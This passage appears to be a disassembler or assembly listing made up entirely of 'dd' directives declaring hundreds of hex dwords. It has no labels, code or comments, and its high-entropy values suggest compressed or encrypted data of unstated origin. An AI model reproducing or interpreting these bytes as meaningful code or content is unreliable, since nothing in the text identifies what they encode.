		dd 0C1C34FD7h, 2B62AFD5h, 0BF4F5079h, 0EF04B909h, 5EAB16F9h
		dd 8372C0F1h, 0EA2921CFh, 5958329Ch, 0E3BE80C1h, 414E551Eh
		dd 2CE91A97h, 0BCA1F276h, 0CC448859h, 0FECEB607h, 0EDF68021h
		dd 566D6C8h, 74B25253h,	289D8188h, 604B21DEh, 9784DA13h
		dd 0EDA52038h, 581230BBh, 2C184DB2h, 96C23971h,	95E85609h
		dd 66325789h, 3CFDCC91h, 605D2722h, 1FCEE534h, 0BC3D1A05h
		dd 9749B7AFh, 27D06EECh, 25E846C3h, 2E03B86h, 239D742Eh
		dd 4A342820h, 7E55B1FFh, 0B56E5A81h, 3ACCCD3Bh,	0E051B8F7h
		dd 0F44ADB6Ch, 75402F59h, 5CD42768h, 0D9171053h, 4F313E28h
		dd 0AFA481C3h, 0DF499470h, 7BC034A1h, 3A010DC7h, 0C47F1BE8h
		dd 0CD27C2FEh, 9E5D9A6Ah, 5C16A641h, 8986AF82h,	0CF9006CFh
		dd 0CC58593Ch, 6BA97CA6h, 0C3148E02h, 6487F3E9h, 8FADDD79h
		dd 0CB81280Eh, 0C09ADE14h, 0CC291568h, 0E9302860h, 5C9118EEh
		dd 0FC044B27h, 0C0666553h, 8D314AAFh, 31893E20h, 0E981D721h
		dd 5DB4349Ch, 25C82FFDh, 3AA59FFEh, 25E609EEh, 80CD9A77h
		dd 57776E2h, 47BD027Ch,	311230E0h, 0C641857Dh, 0B63EA6E1h
		dd 0DCBCD73Eh, 48CDF729h, 0BEB9456Eh, 0CE012745h, 0CCCD5DDDh
		dd 0C9D9F601h, 800480D1h, 0B4504DF1h, 0A7B63882h, 1C0EE624h
		dd 0C2CEAF98h, 30F52D4Eh, 16D74C91h, 0DD0E88DFh, 5504D25Bh
		dd 8212958Fh, 8BFF50CEh, 0A1C57203h, 0CC3FE73Bh, 0C44F2381h
		dd 0D5B7FFECh, 0BF6AB0A3h, 71343500h, 1ACF810Dh, 57E12D28h
		dd 6D6069D6h, 2C0B014Ah, 1603F931h, 86C203E1h, 5401416Ah
		dd 0DFEA03A1h, 227AC831h, 76545CA4h, 121E4C3Ah,	0CDF42E6Ah
		dd 8445B558h, 0BC0B5329h, 0F4D1CC18h, 0A56F4926h, 0BF39B818h
		dd 0AD81BE0Eh, 0B76957ECh, 4BF7B318h, 5B149834h, 0F56FB804h
		dd 53F68100h, 0A762549h, 2A9CEE0Bh, 0C6618359h,	8F13C1FEh
		dd 82FF7A30h, 4F93C0C0h, 30558D2Dh, 97F4F8ACh, 774B76F1h
		dd 0AA8B8D09h, 3C267A6Dh, 6E21D2CEh, 2D00B652h,	0E40BC0F0h
		dd 0C101FEh, 0BFFAF122h, 0C2224AD9h, 4605687h, 5A172387h
		dd 38B54F44h, 4922D601h, 0B22A1661h, 0D52C7B0Dh, 0FE178B9Bh
		dd 8CBD4F2h, 7EA0C8F8h,	79956E73h, 0B7BDC021h, 7B5A130Ah
		dd 4C3C9740h, 0AA291ECEh, 0A6488D3h, 0A6B37EADh, 0F3105A38h
		dd 75820A63h, 0FC661E60h, 3E37BCEh, 0D909C530h,	0D473C370h
		dd 0A5B75424h, 4D6091C2h, 0FB952E4Bh, 1248AC38h, 1935EE8Eh
		dd 30626FB8h, 430003D7h, 16B4CB81h, 0EF3CEB3Eh,	3D429503h
		dd 0A4E9B9FFh, 744E3A3Ch, 40D7B622h, 7FBEDD97h,	2B276BEFh
		dd 0EFAF4C02h, 0B6F3123Ah, 0F5697C5Ah, 2920486Dh, 3B5C81B3h
		dd 0A1C43EA3h, 4EDF96Dh, 3E1C2436h, 4D2D2980h, 0F92F5872h
		dd 0E40C8505h, 0A4848132h, 7A2B211Dh, 0FBF1C304h, 618B660Dh
		dd 0F851A520h, 0E20F5A57h, 3DE405B6h, 0DEF8272Fh, 79C50219h
		dd 0BE8C3B44h, 0E9544029h, 5FC1315Eh, 0A270D188h, 0EE18BF83h
		dd 829107E1h, 83F56892h, 0D39EF26Bh, 0F3DBC5D1h, 7ECDD97Bh
		dd 0BA916824h, 2E30E7D1h, 5F066568h, 0EB2CAFDDh, 0BFEF60F5h
		dd 0A65CD7C6h, 0F389C31Fh, 1AB0ED5Dh, 12B26855h, 2D780551h
		dd 0F3F5D85Bh, 30C60304h, 0BAE5C1h, 0CADBF4C2h,	0E84A0173h
		dd 68825AADh, 0B797EBCh, 0FC72C982h, 0C73A611Fh, 0D5E90D84h
		dd 1F9CBB71h, 71EB7881h
		dd 1302F5Ch, 8126942h, 26286740h, 3F0919B2h, 801AD767h
		dd 3A654855h, 25899F59h, 52593DFh, 0CECB5774h, 0A01B95C6h
		dd 93419C7Dh, 5D72DE82h, 0AEC238C9h, 51DC8009h,	9F6C8F70h
		dd 8BC0F892h, 9ABFFC54h, 30A90EDAh, 0AC64F240h,	510131FAh
		dd 0E07B49h, 7F6C4FEh, 7ECC0D4h, 8F77080h, 0CFF358E1h
		dd 60C9FEC9h, 0B026E9A3h, 76B2540Dh, 5896DA3Bh,	0F01D40F1h
		dd 5E4E0948h, 0B01CF405h, 84120F68h, 3192C3D0h,	0BAD38928h
		dd 74F33238h, 0C9812DDAh, 700FAA2Fh, 0C180C8BEh, 2BE195E0h
		dd 1D228208h, 0A03FF669h, 0B18605A8h, 680A4DB9h, 0C9988813h
		dd 0F4E82817h, 9EFC44BFh, 885003D9h, 384791D0h,	92814CECh
		dd 0C2C18375h, 27E8543Ah, 0FA5B5DF4h, 6D85F074h, 7A78D729h
		dd 0C58C3756h, 0CE680052h, 5A35E37Ch, 0B09CA81h, 5826BF6Bh
		dd 75E20160h, 0D3892D54h, 14E22A5Ah, 6B64E909h,	0F19D4870h
		dd 4C80E985h, 68664CBBh, 0B3F4F58h, 7D0655F2h, 67C8F893h
		dd 15EA180h, 66687580h,	81E977Ch, 0EFBD9B5h, 5407C105h
		dd 0C41BA232h, 0BA4299F7h, 680A2D78h, 0AF261CBDh, 0BB007914h
		dd 11B97BEAh, 2E603BEh,	0DE011BA5h, 71FC295Bh, 7DE4D509h
		dd 18228B14h, 81B9B589h, 8EAF1478h, 2F264C59h, 5E2925FBh
		dd 1710E9F9h, 0CAFC4FE7h, 64CA35Ah, 0BF11E933h,	7B6F31D1h
		dd 6EBDE483h, 3D5C1FC8h, 43AF5457h, 0C129F681h,	7FB5E081h
		dd 4F78FE5Ch, 0EE9771A4h, 0F5217E78h, 0C6060D3Dh, 58204045h
		dd 0E32C552Ah, 7A24F724h, 0E7811C1Dh, 6ACB75F8h, 0C4061060h
		dd 0E31A05EFh, 0F8D4257Ch, 0DB96B573h, 0DBC702B5h, 0AFEAF3A9h
		dd 0C32848A0h, 9B0EB151h, 6717C980h, 0EB636BF1h, 0E9CB8077h
		dd 9D8B9FCEh, 64720B74h, 90BF4BADh, 6CC7EA03h, 12F880Fh
		dd 8C20ACAh, 5E95902h, 1667D26Ah, 2CD4C93h, 2650EDFCh
		dd 0EA100255h, 7ABB0790h, 38863CAh, 686CEEF1h, 213080CFh
		dd 4F894EF6h, 0CF28F0F8h, 206A1812h, 7240A100h,	274A2A67h
		dd 5ADADAF7h, 9E0AF908h, 36E90B1Fh, 0EE9635D6h,	5D5E4402h
		dd 44B768D1h, 0EB0D137Bh, 0B2B7B801h, 0F0E5D750h, 97E0F616h
		dd 0E10507ADh, 5041AC79h, 14854EF2h, 7217E912h,	1D69A342h
		dd 0F8C5605Ch, 5F07A02Dh, 0F9B825E9h, 0F2EB907Ch, 58D2FF52h
		dd 9087769Fh, 300D3E2Ch, 0EF27223Bh, 0F4A7EBDEh, 0F1081775h
		dd 3D5489A0h, 93577102h, 19CE0957h, 1097BFE8h, 10F5AE5Ch
		dd 8B4A7095h, 7617107Eh, 50852D02h, 83CB8DEAh, 0D2610650h
		dd 790288B9h, 7D25781Ah, 89D4B642h, 0C390732Dh,	5D71B0AEh
		dd 52D43013h, 440CE81Fh, 1728A625h, 15366F8h, 888BB1BFh
		dd 0A459E1CFh, 273F8B19h, 0E1F9F671h, 3E5559CDh, 40C2B039h
		dd 0C1E58500h, 0C0516037h, 9E512007h, 5A095F80h, 908DAD5h
		dd 0D7FCF3E9h, 0A5FB241Eh, 2FC45E11h, 535A6966h, 42525E27h
		dd 561EDD50h, 0E953B1C1h, 0E37A058Eh, 89232594h, 0EF08D4C4h
		dd 1AD58BA6h, 29F9909Fh, 1A6CBDF9h, 66E60C5Eh, 976AA65Bh
		dd 0C0FBDBF0h, 0F76CDE7h, 0C69F3CF8h, 55CBA204h, 0A17C8D0Bh
		dd 1F5EF95Bh, 25B95100h, 34A04D13h, 0B2DE5780h,	1ACB4C5Fh
		dd 4C29DC04h, 80B2465h,	13065359h, 9834EFF4h, 3366F81h
		dd 16E6663Eh, 0D3A13A4Bh, 93FC997Bh, 0FC23CD0h,	0DB39F605h
		dd 144452F4h, 59EA7DC8h, 72F015h, 4F28685Ah, 27808C5Fh
		dd 0B332215Bh, 0E08E4151h, 7AB56307h, 0F0EC1213h, 2FF38390h
		dd 506A002Bh, 1457BAB8h, 0C16FE90Ch, 0F00C1A49h, 0C4BD0510h
		dd 0BE26025Dh, 3EA01AC0h, 119252Fh, 0DBE241FCh,	0D1760906h
		dd 0FC6747C2h, 6F7E4E9h, 4DE1FCEFh, 0E20F95D2h,	15CB574Dh
		dd 80EA4885h, 9CF38DAh,	0E95AD71Ch, 9D8BE6D6h, 6D28267Dh
		dd 0AC7B443Dh, 0FE89165Ch, 9916EBF6h, 68BE449Bh, 3BD2A165h
		dd 9D2B5D39h, 0B2CF3B53h, 73F8E90Dh, 0D385DA6Fh, 3D358979h
		dd 0BB025E95h, 0EC784B68h, 0B42B5A10h, 207F369h, 4B3F587Ah
		dd 40EECDC4h, 0E4722483h, 0C77F31AFh, 0AF6844E7h, 5C71308Dh
		dd 751970BEh, 6BA6E830h, 0F3333B0Eh, 0BB035BB6h, 4DD678C7h
		dd 746A3276h, 23125D0Ch, 3204A4A9h, 0C25D2276h,	0C271FEE2h
		dd 408F163Fh, 5EB465CCh, 0EA77406Eh, 2D9DF8B8h,	0D604B390h
		dd 2946432Bh, 24A84EBh,	0CE015A08h, 94202E62h, 8BF78059h
		dd 0FD88511Fh, 9A2A341Eh, 1429F2CCh, 8D9F4E67h,	10B32980h
		dd 0DD58725Ah, 9896C220h, 8057021Eh, 27712053h,	0BB058345h
		dd 6280A5C4h, 76FE06CAh, 0B2CB0603h, 1E36F45Bh,	9498FFF7h
		dd 0FE5B67ADh, 651DC616h, 4D842885h, 37B97E80h,	0AF1D5C94h
		dd 65D3E909h, 7497420h,	97B069E3h, 0DE41F15Bh, 60531191h
		dd 9A7BA2ECh, 302AB097h, 0CF4E4A75h, 0F16933Ah,	405319E9h
		dd 309018A1h, 0D8F61FEEh, 68CE49C9h, 125176DCh,	0AF210302h
		dd 289CD342h, 0E664D701h, 2E84B85Bh, 0B6C22CEAh, 3A45FD41h
		dd 68C4625Dh, 8C9C2295h, 69E91655h, 0D2798871h,	582AC99Fh
		dd 0F65FF792h, 0C6A415DEh, 69AA4C18h, 0E82D0F29h, 0D18902FCh
		dd 0CC605E5Ah, 421D9FC9h, 40EF26ACh, 2FE701Dh, 0E9F9312Eh
		dd 12DE7ADFh, 69AF5344h, 1C3E7090h, 7D5F09B7h, 2495281Ch
		dd 0B50075D7h, 59E820F1h, 7B46E1BDh, 812EF0DDh,	3C975C3Ch
		dd 38BA97D1h, 6F9B96A2h, 799A13BDh, 0F5B967BEh,	0EB75BFA7h
		dd 0E9F025BCh, 199D9FAFh, 9E55C94Dh, 4B48CE8Bh,	0D1E959B0h
		dd 0EAA7214Fh, 7622E25Ah, 0B2647B88h, 0AFAE9E10h, 0CE6C3F45h
		dd 65A443AFh, 0ED0F5B07h, 2814D032h, 0BA2DF3F3h, 544C9B44h
		dd 41CD3ECEh, 7589ED47h, 9AC7C232h, 2523FE96h, 9AB34022h
		dd 74F54CE0h, 311C293Bh, 5909B2C8h, 0B1B28075h,	380B69h
		dd 4A7C960Dh, 0DB6FE96Ah, 6EA7C2B3h, 46E928C0h,	0C4F7057Dh
		dd 0B8084051h, 0AD2F7E9Eh, 3CF1DB13h, 1EF1A64Bh, 69C0796Dh
		dd 8EEC15Eh, 0FD3055E9h, 8352FF20h, 48BF1420h, 91063851h
		dd 0D028E3B5h, 3F1D2E4Bh, 4E0800EEh, 0AE5E13E5h, 6D747161h
		dd 4F6A492Ah, 2D5FE3E0h, 0B732680Bh, 80A2562Ch,	256F3575h
		dd 0A092FEE9h, 6DB1585Ah, 0BC856AA6h, 114DA3Ch,	6920DFD1h
		dd 3A59BD04h, 7680497Ch, 4B1915A1h, 80F8B852h, 5024BF5h
		dd 25E91706h, 9851A909h, 0CA8BAD6h, 89144B5Ah, 704E975Ah
		dd 3EEA24Eh, 0B72F5CE6h, 6D7D04DBh, 0F5C1C6C0h,	66A2273Ch
		dd 8D4EC8Fh, 3D141C68h,	0BB717699h, 0D0F620E7h,	0F560FB41h
		dd 0E4232C1Bh, 4078816Eh, 30297545h, 8B954939h,	2D967D04h
		dd 89765997h, 85688D06h, 980B2973h, 4D6F72Bh, 5D099E59h
		dd 0C8967502h, 7227BA55h, 52DC9497h, 0E22097ECh, 0D56816F4h
		dd 0AD929908h, 298C2F25h, 0CF355E72h, 167E1B49h, 0F83058E1h
		dd 0C6C6BF9h, 7C69BA04h, 0F2CAC025h, 402E36AEh,	7403AF2Eh
		dd 794EFD44h, 95660B18h, 0D0DA217Eh, 0DDF66205h, 2780312Ah
		dd 127CFF2Dh, 1029252Eh, 0B05B07A9h, 1E0296F7h,	0F2E93A49h
		dd 655107B0h, 8708D47Ah, 79BDD294h, 0D092CEDCh,	0E2B503ECh
		dd 622FC64Ah, 3BCBF36h,	0E9FE910h, 2768FB50h, 80792B06h
		dd 5C272CA4h, 0E60A3563h, 0F5A51712h, 0C45C0E32h, 8D683B13h
		dd 7B5423D4h, 1F409CE9h, 0B2CDE466h, 20DD8A80h,	0E3D0022Ch
		dd 9A2E480h, 0E292E950h, 0E45E8E99h, 0FFBC061Fh, 8081C84Bh
		dd 0D0E8B4D5h, 4182EA1Ch, 0B2963278h, 5C7B8C61h, 43BBD644h
		dd 533C60h, 33C6229Fh
		dd 12A1F381h, 0C155D21Fh, 769B6221h, 3A974FA4h,	1C630A5h
		dd 35D1B565h, 9F83D070h, 69296766h, 5E35F6B5h, 847D9DFAh
		dd 2932429Ah, 0BAEF3FC1h, 0EEB15203h, 11A26F85h, 0A2A8307Eh
		dd 7F83AD10h, 1CA0204Bh, 83684101h, 0C8266254h,	4C0C0371h
		dd 1647A66h, 22EC4E4h, 0BDA9E908h, 880FAFF2h, 211C6C5Dh
		dd 0E393A27Ch, 3BC1B13Bh, 79C748D0h, 65292748h,	8A05276h
		dd 2D7CC597h, 0F10224D3h, 10A0E68h, 429B51E9h, 7D7C0153h
		dd 0E1035E40h, 4EE9E24Eh, 2277B40Bh, 85679D09h,	88267331h
		dd 681FC940h, 1F5D0D98h, 2ACE837Eh, 11BCE4F0h, 2AB65312h
		dd 4125B040h, 6088D4CCh, 5DA461B9h, 25BE6908h, 0A48B3142h
		dd 2AEF2AE9h, 8EADC7B5h, 0F6B9CD1h, 5B133120h, 0F03AFC60h
		dd 0B783EB80h, 0E9263B9Eh, 592E2B8h, 5A0127B9h,	3750E52Dh
		dd 0D1782003h, 63E66681h, 0D7C6822Fh, 708B9B0Eh, 66C8D4A6h
		dd 7C36BC5Ch, 639DC375h, 0A50F7F7Eh, 72E989DDh,	15A7440h
		dd 74AF848h, 42F6413Fh,	0C4A49CE2h, 5BEA7892h, 0F37ED04Dh
		dd 1B2F59CDh, 2AAB5C68h, 122CE436h, 236A923Ch, 0EB847EEAh
		dd 0D400EA6Dh, 16684EDAh, 0FE5C170h, 6DE0F57Bh,	0A12D3427h
		dd 18A0917h, 75C10AEh, 2A0F914Ah, 0D7BA0484h, 0F16F4E00h
		dd 84D08E29h, 0E9AA9895h, 1C76BA13h, 5657D7BEh,	0BC56B435h
		dd 0B6CE8900h, 926E5D05h, 1E0CEA73h, 0AE500A49h, 6F760163h
		dd 442DF029h, 287C407h,	8DA2E912h, 0D15533F5h, 242AD085h
		dd 0DD49AFCDh, 0B99FA02Dh, 7A2B6DA0h, 0C02C2F70h, 0FF4EC6Ch
		dd 2397964Fh, 46B88672h, 0A55B592Dh, 488468A0h,	9A5A43C5h
		dd 36A44056h, 31E2A926h, 0B6D2252Ah, 65F712E3h,	0AAC18AACh
		dd 3E56B56Ch, 1A06B21Bh, 0F3B6A0DEh, 0F90E200h,	0EDFE46C2h
		dd 0A1B20362h, 0F407EE88h, 0D8D454BCh, 0F4C780E7h, 5F17F1Fh
		dd 0C256AA92h, 0C3094B85h, 174EDA61h, 0FC22EAEEh, 9C8A163Dh
		dd 0CA6F8DC9h, 815C0976h, 74AB7FC2h, 5718C5F0h,	0C60C15F8h
		dd 715F2759h, 8A04B7Ch,	84F1E91Ah, 4D395059h, 802657DFh
		dd 0C8300568h, 87A1A859h, 0F62957E9h, 0A3F5EB0Ah, 2DCA738h
		dd 4DF4C11Dh, 0C255B17Ah, 2D6CD75Bh, 260CD0B0h,	2C27D919h
		dd 6E440E5Eh, 0C9EE4959h, 89604D07h, 0F1FBA0F7h, 3128D095h
		dd 0F74C891Bh, 0CD862BDBh, 10086106h, 2A7C1EE9h, 525AACB7h
		dd 0AD62EC79h, 1073B62Ah, 44A8E98h, 0E36B4705h,	0FCD6DF22h
		dd 7EB0AF4h, 681012FDh,	91FEC253h, 2F2D8790h, 18385A31h
		dd 292FAB8Fh, 9B7934AFh, 7029FEA9h, 8C49F9E3h, 9C40626h
		dd 1646886h, 6E317FF1h,	3EBC91E9h, 4069D3B3h, 5B09E2D8h
		dd 8803E1C0h, 7A1AA39Bh, 0D290C3CFh, 0BD744C6Fh, 0E095A5F2h
		dd 1D332D8Eh, 470EF616h, 9D402F80h, 0D8F66EF6h,	77AEE982h
		dd 0BB4395F4h, 75C750FCh, 1272062Ch, 8CDF0177h,	16FBA820h
		dd 0B87EE80h, 1FB0C41Eh, 8FA5F777h, 0F58880B1h,	5A59D8CBh
		dd 6EB32DE9h, 95A0D352h, 0CE1657A1h, 0B6F029BEh, 2496D1h
		dd 0E931FB39h, 5395A56Ch, 0AD7327F5h, 9DAEB62h,	0B9E63480h
		dd 0FCB9D6F6h, 733077AAh, 5BF81108h, 30ED0F04h,	0F00C58C6h
		dd 0F54045A2h, 0C7E00B2Dh, 55E1838Fh, 0F1126BECh, 0C0F4F4FDh
		dd 0C6FEE26Dh, 6EEC000h, 0F7885366h, 0BDF64FE9h, 434E2604h
		dd 7F0A940Bh, 0B8331684h, 0B2345B21h, 20B62AEh,	0C354E461h
		dd 14CFEE85h, 0A366E218h, 5C1862F1h, 180C0E28h,	9875712Ah
		dd 0DE202574h, 0E8A5F010h, 5C55E183h, 52FC903Ah, 35006FF1h
		dd 36101A89h, 620A642Dh, 0CD516401h, 0EBEA0009h, 7C094E1Ah
		dd 2DD4E44h, 53BA68EDh,	880E92D9h, 17EC57C2h, 0CAF052B3h
		dd 655A3CE9h, 6B427C8h,	0D0DCF682h, 0E91908E4h,	5520D7CDh
		dd 0DBDFF2DBh, 9FF9A70Ah, 0FD58C542h, 7A88F445h, 0DAB2039Ch
		dd 33B7EA80h, 56EAF2CAh, 73979C70h, 0E9D5ECE3h,	51D1BF2Fh
		dd 6D579E37h, 3192E4DEh, 0A3B2C813h, 0E86F9C16h, 6ACD2EAh
		dd 0EE0C46C4h, 511094CBh, 0D7598968h, 21232985h, 7A1CCFB1h
		dd 0BC5E84E6h, 9452F760h, 0BD2264B0h, 0B4B0740h, 2A0E7A3Fh
		dd 5D5EFA6Ah, 6E9A32C1h, 6F4E1E05h, 9664EE74h, 0DCBF50D4h
		dd 29D7A3BCh, 16662DEFh, 210B500Fh, 853EEE27h, 2625743Eh
		dd 1D76BA04h, 0D04EC4F2h, 2DFCBE11h, 9B609828h,	0DC07751Ch
		dd 9F63BBBh, 0FC687435h, 0D787886Dh, 0F84FE328h, 9C1789E2h
		dd 4228BBC4h, 2AB94DA9h, 2723AC5Ah, 0E73F694Bh,	0C511012Eh
		dd 532454Fh, 4B98D8B4h,	65474394h, 0BBDD8A6Ah, 5BD82B40h
		dd 7C08055Eh, 0F2784C0Fh, 2D69112Ah, 43D4F101h,	0B702C158h
		dd 0E461AF1Ah, 0DB66A55Eh, 0F72C0E4Ah, 163DC80Fh, 68ED4566h
		dd 0F91EAFAh, 3500FD1Bh, 0DC032A7Eh, 2DD8F721h,	80D4E13Eh
		dd 0EE51A47Bh, 73457380h, 2D5D2816h, 41C0B065h,	3C103AF1h
		dd 0C2042DB3h, 31B32B29h, 0CA2E53DCh, 200E486Dh, 0B65A0D0h
		dd 79472EE4h, 83A73EDCh, 52290905h, 27AAEC98h, 0E38DA288h
		dd 6E134050h, 67B03F36h, 1161FA27h, 215561ACh, 2F4ED5E2h
		dd 0A3911788h, 5039EA88h, 0B8014FFAh, 3FF24B31h, 0AA7656A3h
		dd 0D502E099h, 0FE3BB662h, 20851730h, 43CAC286h, 9707C24h
		dd 0AB204202h, 5B04C31Fh, 1A8BE4E7h, 27DF8548h,	5ABD031h
		dd 802808CEh, 6872EB2Ah, 0DCD62589h, 0B4402145h, 68560958h
		dd 0ED59269Dh, 5A3D923Fh, 1F2CD357h, 59782DE9h,	0CD0719E6h
		dd 616D5EE8h, 0C57F1FE2h, 8956AFCBh, 0DB09EA9Ch, 13AD8273h
		dd 2F4CD706h, 31263EB2h, 928EF6D8h, 0C0EAD30h, 0E9AEF42Eh
		dd 0C70B2733h, 81891F34h, 0A3644F2h, 9B3780C1h,	0D09DEC6Ch
		dd 23B102C3h, 0D601293Ch, 0E90B0808h, 45E520Ch,	310B1AEEh
		dd 0F14CC208h, 0B7DCCC7Dh, 0E984D667h, 0CAAE1319h, 0A6B95B1Bh
		dd 5C17D488h, 4E215B8Ch, 94C7B8F1h, 855E244Ch, 52D6DEA5h
		dd 0B3951FA2h, 2D89C568h, 0F26E2C89h, 5029D696h, 1E752BEEh
		dd 38E14262h, 0C930A968h, 1FFB13BCh, 924F37BEh,	31FF2106h
		dd 5F9EF545h, 0ABC86577h, 3559ED68h, 591B9918h,	9CAF9254h
		dd 3B25A289h, 0EDA1D8F3h, 0A1F05407h, 9F91687Eh, 638072D2h
		dd 10CC8FEh, 8E0C04Ch, 8B596F68h, 541042EFh, 59146B34h
		dd 76B25C58h, 26193B24h, 0BD81D416h, 12DD5358h,	0BB03F86Ch
		dd 6596284h, 0D4C8B6D2h, 1B73CE80h, 5350F60Bh, 52B381B7h
		dd 0C7F45CB2h, 0FED7E090h, 5AF1EBEFh, 6E40A99h,	50288101h
		dd 0E68845B4h, 0B7F71860h, 0FE089CB0h, 0C0255B63h, 63F6CAECh
		dd 306DF0A2h, 0FDE92CE6h, 0EE6696AAh, 57B6A845h, 52518CBAh
		dd 0AD5B8EF4h, 716511D0h, 0E80C4F15h, 81226035h, 91D30EAh
		dd 0D389E7D5h, 0ADD6928Ah, 87753E94h, 300714BDh, 0BF308AFDh
		dd 0C3D595Eh, 6ABC7640h, 771C422Fh, 5E563A42h, 273C222Dh
		dd 315F01FCh, 44F22EFAh, 12EFB21Ch, 7864EFD0h, 0E16AD4E0h
		dd 0E1A84D2Ah, 0BE902E95h, 4C263875h, 8B01B850h, 1E7F8E5h
		dd 0E9635CDEh, 0A012C727h, 6E7CA801h, 0BA7A9F6Dh, 0E95F0880h
		dd 59107525h, 0E9A1ECB4h, 45958AE0h, 0BAD509FFh, 0C8B77896h
		dd 8998D22Bh, 95A5DCE2h, 9B643C94h, 874098C4h, 0C05AD520h
		dd 800509E5h, 895527F5h, 32A763D8h, 588B8784h, 0EB1D38C7h
		dd 0FCE90BBEh, 3CB851D9h, 0E4B6B712h, 0A0A0025Fh, 4C2010AEh
		dd 2CA03944h, 3432617h,	51827E32h, 5761E999h, 1DFBBDAh
		dd 8A1B659Ah, 26D35F64h
		dd 0AA1EC6Ah, 588998F9h, 0FB9D0B13h, 20AB176Ch,	6A2CC8EEh
		dd 2AB8EFE4h, 7F20B298h, 0CCAEDD18h, 2E475C4Dh,	4D2EFA56h
		dd 0C121C4ABh, 2AE1E4E8h, 5E3924CAh, 52E06F9Ah,	61094891h
		dd 96A1B410h, 75BE0074h, 0BBE9585Fh, 0EB87C163h, 5ABCC8DDh
		dd 9ED35129h, 7CE90801h, 0D833B46Bh, 549E6839h,	0E9195130h
		dd 0AD208F59h, 74E23CD9h, 0DBE753F7h, 18BBD356h, 0B80CC797h
		dd 0D9261F6Ah, 0A165C979h, 68182DE6h, 81F1405Ch, 0CBA7C18Ch
		dd 2FBC7479h, 6124D8B0h, 7AC21985h, 6A5C617Fh, 0B0033AF4h
		dd 0DA67029Bh, 0D0011B69h, 33E8C141h, 1091969Bh, 0BE280E21h
		dd 0B00505DFh, 0FEBFC017h, 29303F25h, 26E20E45h, 681C099Ch
		dd 21763421h, 0B382B365h, 43E8600Eh, 7CF197B9h,	78BF5DE5h
		dd 0A4A2C558h, 1C753F6Ah, 0C73BB78Eh, 56550800h, 5E5B06BEh
		dd 0D9E97578h, 51EC8E2Dh, 8B07BDC1h, 0B4F52921h, 63E916F1h
		dd 0E2AEA8A1h, 70E8786Dh, 0EB7B16BFh, 4E33BC74h, 0E20588ACh
		dd 0EECB5485h, 0D35A8A00h, 5ABA68E0h, 203CCC2Ah, 46607B7Dh
		dd 2C84DF74h, 20E0BFB9h, 5487042h, 7005FABh, 0E3C024B3h
		dd 0BFF0CB04h, 0C7C1CCC8h, 2924607Ch, 1E2C85FAh, 0C8345617h
		dd 10C1CAFEh, 6612BD19h, 0CDCA095Bh, 0B27E8D84h, 0F885970Fh
		dd 0BD0B2AD8h, 348AC382h, 98986DC4h, 2206FC67h,	0C9ECC663h
		dd 0B9791CEBh, 0B55A7075h, 0E3BEEC07h, 0C1E10AF1h, 5B877F7Fh
		dd 50F768C1h, 17B38D4Ch, 0E94FE927h, 5C3525E8h,	0EFA53FFBh
		dd 0CB625651h, 1CFD0993h, 48329FBBh, 0B1DFE54Ah, 0FD0831E5h
		dd 0B3405341h, 5A206B36h, 1033AD18h, 0B60183E7h, 0FEDEF6BEh
		dd 0D004A5CEh, 806CBA2h, 9756F007h, 8FE962E4h, 0E973758h
		dd 57EE6B6Ah, 7F71B500h, 61B85B0Fh, 20EA0158h, 5823CEC1h
		dd 4911F08Bh, 6601C69Ch, 0ACA0D387h, 1D28EF91h,	0A3580844h
		dd 0A81C7464h, 0A092E96Ch, 1280C76Bh, 0A52B5677h, 0C8080468h
		dd 0E64F5B26h, 0F7DC8C44h, 0B1C15C07h, 0EDC63104h, 0ED042E9Eh
		dd 0D9EF5D54h, 6F6F31ABh, 823AABCDh, 7C09EFD7h,	0C2B13F09h
		dd 47004F2h, 0FB5CC2BFh, 5A26B250h, 53075E5Dh, 2400EABBh
		dd 7CDA318Ch, 917B54E9h, 0E8B6C0CFh, 59051B43h,	205CECBFh
		dd 2BF955CCh, 259297A2h, 37E98010h, 4390DFB1h, 47062C67h
		dd 0B353D101h, 0B06A28D5h, 6E641B8Fh, 81E6BBh, 7B2CB9CDh
		dd 0B211E2E7h, 0F56B4AFCh, 94C8DF84h, 9A65EAB6h, 1012CAFEh
		dd 2C00A13Ch, 68F0287Bh, 30A83073h, 8072F2B2h, 3FD0C1EFh
		dd 9D60388Dh, 2E46979Ah, 52142799h, 7EE94AA3h, 0EDE7954Bh
		dd 23E909C1h, 0DC16D2E5h, 0A94014CDh, 0EFC91A12h, 551E9A49h
		dd 2FBB808Ah, 0BD5E97DEh, 50741387h, 20B95125h,	59160A04h
		dd 58F82CE9h, 0EA17583Bh, 3F68EF90h, 0C4DFA451h, 647E38h
		dd 6070C568h, 0A40F9D6Dh, 3E0706F9h, 3812BFF4h,	89220DACh
		dd 8EF1972Ch, 2737E34Eh, 20C162Dh, 7C07EA6Ah, 95F2E4EAh
		dd 7BE4E12Ch, 837678Bh,	2D5933F6h, 3B39E53Ah, 0B0D40A87h
		dd 536CDCEBh, 2D8B02F6h, 0EAE86974h, 4025565Ch,	0EA77AB20h
		dd 5CAF7463h, 212D5828h, 4FBC6812h, 0E9571030h,	0F24B470h
		dd 45C78FB9h, 59C8E269h, 0D10281DFh, 0E5EC35E8h, 0A16B4F4Eh
		dd 0C60243B1h, 0B0C7C10Fh, 7011AB15h, 0C91649D8h, 9E0BE58h
		dd 85150FDBh, 2598DF78h, 0C2747EA0h, 5803D010h,	0A5E6BF52h
		dd 0F2EF7267h, 6774820h, 790CE20h, 64AC5D5Eh, 0C512FAF5h
		dd 8D5E04B8h, 529C6BD0h, 9FAB057h, 35682669h, 815E2B83h
		dd 0D4767098h, 6441448h, 7DC4136Bh, 13995EE3h, 6793F1BCh
		dd 6A45962Ah, 8CD9238Ch, 318CF42Bh, 59486A95h, 5BD5088Dh
		dd 5737AD26h, 0A250D052h, 7164B297h, 60D982C1h,	7954063Bh
		dd 11DAF10Dh, 7488CB04h, 127F5AE9h, 0EFFEDCC6h,	1A61BF4Ah
		dd 0DC111706h, 8B296B6Bh, 9521D320h, 0A0E97CA1h, 395222EDh
		dd 3F309E7Eh, 0FFE10DD2h, 0E5415B22h, 0FB6D68EDh, 980C2577h
		dd 60665474h, 0DF87A263h, 0B1ABDB4Ah, 0C2E7087Dh, 9B12EF02h
		dd 0B4D5C3Eh, 6B5CDA29h, 4D1D72C0h, 5046715Bh, 0B76AD34Eh
		dd 0DE89FFF1h, 0E01BA35Dh, 4AC0C251h, 0C64577B0h, 3BB0E943h
		dd 0DB17534Dh, 0B673FB5Bh, 5B5D4C8Ah, 3EB51310h, 94C418ACh
